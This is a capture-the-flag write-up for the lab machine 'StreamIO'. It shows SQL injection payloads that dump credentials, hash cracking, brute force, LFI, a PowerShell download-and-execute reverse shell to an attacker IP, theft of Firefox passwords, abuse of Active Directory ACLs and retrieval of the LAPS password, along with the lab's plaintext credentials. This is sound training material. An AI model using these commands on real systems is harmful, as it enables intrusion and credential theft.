# Stream IO

```
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-20 23:19:27Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
| tls-alpn: 
|_  http/1.1
|_ssl-date: 2024-03-20T23:20:15+00:00; -17h02m32s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

5985/tcp  open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf     .NET Message Framing
49667/tcp open  msrpc      Microsoft Windows RPC
49673/tcp open  ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc      Microsoft Windows RPC
49736/tcp open  msrpc      Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-03-20T23:19:36
|_  start_date: N/A
|_clock-skew: mean: -17h02m32s, deviation: 0s, median: -17h02m32s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
```

* Active directory Trying to access the page and it doesn't load on http. So trying https <https://watch.streamio.htb/> ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-f31f2df4827f979c1183eb4d0884d2c2c8b953d8%2Fa281b3d3e9b26b262169abe6d6eb74f8.png?alt=media) Also <https://streamio.htb> ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-2e9ddd0ae62651f3761a4b6e1b6c87b95745ee18%2F7b458931947a6bbd01b5201f2991d1c5.png?alt=media) Now using feroxbuster on both websites wit: `feroxbuster -u https://streamio.htb -x php -o stream.htb.feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k`

We discover <https://watch.streamio.htb/search.php> Intercepting in burp suite.![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-4e3d838da99f68dc60c803efc6832f72a623a76b%2Fd26c7292820357ad48f34156d1377418.png?alt=media) We notice a POST field called q.

Now trying to fuzz it with FUFF for special characters. Since it is a POST request need to set a header for content type.

```
ffuf -u https://watch.streamio.htb/search.php -d "q=FUZZ" -w /usr/share/seclists/Fuzzing/special-chars.txt -H 'Content-Type: application/x-www-form-urlencoded' -k
```

Now filtering lines we get: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-3f34fc123c80e980dfe5b01ac23c8ffdef809bf8%2F6c6c947bf377268f4bb1c5b82ccea571.png?alt=media) Trying all these on browser we notice something unusual Since ffuf sends all requests without url encoding the `&` response is pretty weird.

It seems there is a wildcard on both sides of the search request. Might be like: `select * from movies where title like '%[input]%'; or` select \* from movies where CONTAINS (name, '*500*')l;\`

To check: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ee600198775c259c5e40c0202aa4ad0404224e24%2Fd0e73a34171b6405a7d3524567baebc0.png?alt=media) We get the same result with `500%-- -` so it is the first type of `select * from movies where title like '%[input]%;` Now to check how many columns we can use union. ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-ca357795b64c0359f5b279f2abc882b7ec8dde40%2Fa7e6ba81df79eed84564aaa8f94304e2.png?alt=media) There are 6 columns Enumerating we find users: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-8c0f807e858b5ae96f5a51c2bbc4e2d619d63f0c%2F0a212031f3414c4beed720d20b83883f.png?alt=media) We can use concat to concatenate multiple columns together:

Kerberoasting to find valid users: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-d9b4954bf3e2bc7613d247d63af609cb336dc068%2Fd0f3224259a4424f9288da731fbfff36.png?alt=media) Testing xp\_dirtrees![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-46165a163452997123aaa2c94a19a285677f58b0%2F411dbdf3f9be10ec86a334eaed598927.png?alt=media) We get a response so yeah it works. Now using responder to get the hash: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-96bcbd7bb73785f51e512b7be1cc5ceb786fcaff%2F3601e145d379e6f50aee4d301714c3d8.png?alt=media)xp\_cmdshell doesn't work Checking with `500' EXEC xp_cmdshell 'ping 10.10.14.8';-- -` and `sudo tcpdump -i tun0 icmp` But it doesn't work

Now getting the username and password: `500' union select 1,string_agg(concat(username,':',password),'|'),3,4,5,6 from users--` And using hashcat: `hashcat --user username_password.txt '/home/aditya/Documents/Kali/rockyou.txt'` We get the passwords: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-72c24973f44683bf3ba112f44340aaa01c7e4e48%2Fcb6a5c2997f808bbf6f2687a5620e5fc.png?alt=media)Now trying this login in <https://streamio.htb/login.php> Now trying hydra for the bruteforcing `hydra -C creds.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed"` ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-3b4da42143cc5b4b92e48685402214962e7d7e1d%2F9aac8d744163d6744923bf16a7ea5284.png?alt=media) Now we can access admin panel Trying to fuzz the parameters: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-e45976840fe1e402015065892b608ae5f30432ce%2F1f08cd043311f71e537d427e37c79715.png?alt=media) And remember we have the cookie So using `ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'https://streamio.htb/admin/?FUZZ=id' -H 'Cookie: PHPSESSID=cmedn0pjk13elk0051taff4v8a' -fw 85` We found the debug parameter Now trying index.php: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-570f9afc2d6b385def547f4a182ad97140d4e43b%2F724e487a3bff04b425adb9ebb409d454.png?alt=media) We get an error. Now trying LFI `https://streamio.htb/admin/?debug=php://filter/read=convert.base64-encode/resource=index.php` We get the base64 encoded file. index.php![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-886dcd5cae8f81deaa4e142ae9588afb7bc11215%2F12fe109fa92897772c5ac47a3a79db32.png?alt=media) debug parameter includes any php file that is passed in. master.php ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-a9c8461f5e01593126aaa82706243a8ca16f99ee%2F0174f73513e66506682587cde62364fd.png?alt=media) In master.php if we have a post parameter called include we can execute the php content.

We can't directly execute code as it reads the content of the file passed through include parameter.

Now we can check if we can access the files through over python server ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-dd8c8fdd09e16f6d210074586f1d648641f7973f%2F66f960d0b07acb9d70f35d4c3bcc9f19.png?alt=media) Now we have code execution So using the conptyshell and using system command to execute it `system("powershell IEX(IWR http://10.10.14.37/con.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.37 9001");`

We get a shell: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-3cb98b88fa4499ecd48c2088b895d8856d79853f%2Faf2d9c3f0901a86960e96a4aeb07bbd2.png?alt=media)

Since we had the password of db\_admin from the index.php file we can use it here:![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-3189fd8d299bce03fc376cf2f749834fda1d757a%2Fa6e7d02ede2c5b6c99c6cc6feaeb4d12.png?alt=media) To access the sql database: `sqlcmd -U db_admin -P 'B1@hx31234567890'` ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-afab8425e4fbb291237e21a99611b6f6639c4abd%2Ffd0f2ba90f08b07b5dc5258229010404.png?alt=media) Now we found a password for an account that is on the pc. `nikk37:get_dem_girls2@yahoo.com`

Logging in using evil-winrm and running winPeas ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-114e74f974baea30c48b21289edc6211dc7fea6d%2Ff55ee9980a096aeaada3e2dbe1b19e88.png?alt=media) We find a firefox db.

Downloading it: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-f835d91b31d83c91accf675338e92a8deb4b265c%2F3511d659adfe24814c8eeb0e2f0d441e.png?alt=media) `download br53rxeg.default-release`

Now using firepwd and copying logins.json and key4.db to the firepwd folder we get the passwords: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-f94e5f85e6615287f3522509c0e41f4a7740129e%2F6349ed21c6a180c1a47e0a41b5e3d5da.png?alt=media)Now adding it to our creds and using crackmapexec to try all passwords: `cme smb streamio.htb -u users.txt -p pass.txt --no-bruteforce --continue-on-success`

We notice that the admin has the name JDgodd in their password which is also a username so trying it we get access: ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-31fdd9af9ec3f3ae81f00de45f0714399a1dc18d%2F4244105bbc5a1a7e9def45429f9313ec.png?alt=media) Running bloodhound.py `python3 bloodhound.py -d streamio.htb -u nikk37 -p get_dem_girls2@yahoo.com -dc dc.streamio.htb -ns 10.10.11.158 --dns-tcp -c all --zip`

Now we find a path in bloodhound![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-23923afce895d4831fd9a0e7f881ed14790c7c40%2Fca1332c21e0dfb4c55df1165ecbfea74.png?alt=media) Now using owneredit: `/owneredit.py -action write -new-owner 'JDgodd' -target 'CORE STAFF' 'streamio.htb'/'JDgodd':'JDg0dd1s@d0p3cr3@t0r'` dacledit `dacledit.py -dc-ip 10.10.11.158 -principal JDgodd -target "CORE STAFF" -action write -rights FullControl streamio.htb/JDgodd` adding member `net rpc group addmem "CORE STAFF" "JDgodd" -U "streamio.htb"/"JDgodd"%"JDg0dd1s@d0p3cr3@t0r" -S dc.streamio.htb` Getting LAPS password: `./pyLAPS.py --action get -d streamio.htb -u JDgodd -p JDg0dd1s@d0p3cr3@t0r`

After getting the DC password we can get a winrm shell `evil-winrm -i 10.10.11.158 -u administrator -p ClonWLdA]cK7u9` ![](https://2519178678-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FuE2sPgM0QY6KfiTIG8Vs%2Fuploads%2Fgit-blob-cb9e68edd0d15e27651c7eeef6a9d85afd77ed6a%2F07dbcdbfe566fed11352358210b77fee.png?alt=media)
